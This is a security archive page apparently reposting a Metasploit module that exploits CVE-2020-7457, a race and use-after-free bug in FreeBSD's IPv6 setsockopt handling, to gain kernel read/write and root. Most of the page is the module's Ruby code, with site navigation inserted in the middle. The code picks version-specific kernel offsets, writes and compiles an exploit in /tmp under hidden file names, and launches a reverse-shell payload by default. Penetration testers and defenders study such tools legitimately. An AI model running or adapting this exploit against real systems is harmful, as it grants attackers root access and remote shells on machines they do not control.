FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation

Authored by Brendan Coles, Andy Nguyen | Site metasploit.com

Posted Jul 31, 2020

This Metasploit module exploits a race and use-after-free vulnerability in the FreeBSD kernel IPv6 socket handling. A missing synchronization lock in the IPV6_2292PKTOPTIONS option handling in setsockopt permits racing ip6_setpktopt access to a freed ip6_pktopts struct. This exploit overwrites the ip6po_pktinfo pointer of a ip6_pktopts struct in freed memory to achieve arbitrary kernel read/write.

tags | exploit, arbitrary, kernel
systems | freebsd, bsd
advisories | CVE-2020-7457
SHA-256 | 00b0e1e6a5651af403765318e00556b0c8953f9ef2bbda38acb929b269045b6a

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation',
        'Description' => %q{
          This module exploits a race and use-after-free vulnerability in the
          FreeBSD kernel IPv6 socket handling. A missing synchronization lock
          in the `IPV6_2292PKTOPTIONS` option handling in `setsockopt` permits
          racing `ip6_setpktopt` access to a freed `ip6_pktopts` struct.

          This exploit overwrites the `ip6po_pktinfo` pointer of a `ip6_pktopts`
          struct in freed memory to achieve arbitrary kernel read/write.

          This module has been tested successfully on:

          FreeBSD 9.0-RELEASE #0 (amd64);
          FreeBSD 9.1-RELEASE #0 r243825 (amd64);
          FreeBSD 9.2-RELEASE #0 r255898 (amd64);
          FreeBSD 9.3-RELEASE #0 r268512 (amd64);
          FreeBSD 12.0-RELEASE r341666 (amd64); and
          FreeBSD 12.1-RELEASE r354233 (amd64).
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Andy Nguyen', # @theflow0 - discovery and exploit
            'bcoles' # metasploit
          ],
        'DisclosureDate' => '2020-07-07',
        'Platform' => ['bsd'], # FreeBSD
        'Arch' => [ARCH_X64],
        'SessionTypes' => ['shell'],
        'References' =>
          [
            ['CVE', '2020-7457'],
            ['EDB', '48644'],
            ['PACKETSTORM', '158341'],
            ['URL', 'https://hackerone.com/reports/826026'],
            ['URL', 'https://bsdsec.net/articles/freebsd-announce-freebsd-security-advisory-freebsd-sa-20-20-
ipv6'],
            ['URL', 'https://www.freebsd.org/security/patches/SA-20:20/ipv6.patch'],
            ['URL', 'https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_var.h'],
            ['URL', 'https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_output.c']
          ],
        'Targets' =>
          [
            [
              'Automatic',
              {}
            ],
            [
              'FreeBSD 9.0-RELEASE #0',
              {
                allproc: '0xf01e40'
              }
            ],
            [
              'FreeBSD 9.1-RELEASE #0 r243825',
              {
                allproc: '0x1028880'
              }
            ],
            [
              'FreeBSD 9.2-RELEASE #0 r255898',
              {
                allproc: '0x11c9ba0'
              }
            ],
            [
              'FreeBSD 9.3-RELEASE #0 r268512',
              {
                allproc: '0x1295800'
              }
            ],
            [
              'FreeBSD 12.0-RELEASE r341666',
              {
                allproc: '0x1df3c38'
              }
            ],
            [
              'FreeBSD 12.1-RELEASE r354233',
              {
                allproc: '0x1df7648'
              }
            ],
          ],
        'DefaultOptions' =>
          {
            'PAYLOAD' => 'bsd/x64/shell_reverse_tcp',
            'PrependFork' => true,
            'WfsDelay' => 10
          },
        'Notes' =>
          {
            'Stability' => [CRASH_OS_RESTARTS],
            'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
          },
        'DefaultTarget' => 0
      )
    )
    register_advanced_options([
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
      OptInt.new('NUM_SPRAY', [true, 'Spray iterations', 256]),
      OptInt.new('NUM_SPRAY_RACE', [true, 'Race iterations', 32]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ])
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status("Writing '#{path}' (#{data.size} bytes) ...")
    rm_f(path)
    write_file(path, data)
    register_file_for_cleanup(path)
  end

  def strip_comments(c_code)
    c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
  end

  def select_target(kernel_version)
    targets.each do |t|
      return t if kernel_version.include?(t.name)
    end
    nil
  end

  def check
    kernel_version = cmd_exec('uname -v').to_s

    unless kernel_version.include?('FreeBSD')
      return CheckCode::Safe('Target system is not FreeBSD')
    end

    kernel_arch = cmd_exec('uname -m').to_s

    unless kernel_arch.include?('64')
      return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
    end

    vprint_good("System architecture #{kernel_arch} is supported")

    unless select_target(kernel_version)
      return CheckCode::Safe("No target for #{kernel_version}")
    end

    vprint_good("#{kernel_version} appears vulnerable")

    unless command_exists?('cc')
      return CheckCode::Safe('cc is not installed')
    end

    vprint_good('cc is installed')

    CheckCode::Appears
  end

  def exploit
    if is_root?
      unless datastore['ForceExploit']
        fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
      end
    end

    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    if target.name == 'Automatic'
      kernel_version = cmd_exec('uname -v').to_s
      my_target = select_target(kernel_version)
      unless my_target
        fail_with(Failure::NoTarget, "No target for #{kernel_version}")
      end
    else
      my_target = target
    end

    print_status("Using target: #{my_target.name} - allproc offset: #{my_target[:allproc]}")

    exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    exploit_data = exploit_data('CVE-2020-7457', 'exploit.c')

    if my_target.name.start_with?('FreeBSD 12')
      exploit_data.gsub!('// #define FBSD12', '#define FBSD12')
    end

    exploit_data.gsub!(/#define ALLPROC_OFFSET .*$/, "#define ALLPROC_OFFSET #{my_target[:allproc]}")

    exploit_data.gsub!(/#define NUM_SPRAY 0x100/, "#define NUM_SPRAY #{datastore['NUM_SPRAY']}")
    exploit_data.gsub!(/#define NUM_KQUEUES 0x100/, "#define NUM_KQUEUES #{datastore['NUM_SPRAY']}")
    exploit_data.gsub!(/#define NUM_SPRAY_RACE 0x20/, "#define NUM_SPRAY_RACE #{datastore['NUM_SPRAY_RACE']}")

    upload("#{exploit_path}.c", strip_comments(exploit_data))

    print_status("Compiling #{exploit_path}.c ...")
    output = cmd_exec("cc '#{exploit_path}.c' -o '#{exploit_path}' -std=c99 -lpthread")
    register_file_for_cleanup(exploit_path)

    unless output.blank?
      print_error(output)
      fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
    end

    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"

    upload_and_chmodx(payload_path, generate_payload_exe)
    register_file_for_cleanup(payload_path)

    timeout = 30
    print_status("Launching exploit (timeout: #{timeout}s) ...")
    output = cmd_exec(exploit_path, nil, timeout).to_s
    output.each_line { |line| vprint_status line.chomp }

    sleep(3)

    print_status(cmd_exec('id').to_s)

    unless is_root?
      fail_with(Failure::Unknown, 'Exploit completed without elevating privileges')
    end

    print_good('Success! Executing payload...')

    cmd_exec("#{payload_path} & echo ")
  end
end
```

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Login or Register to add favorites

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed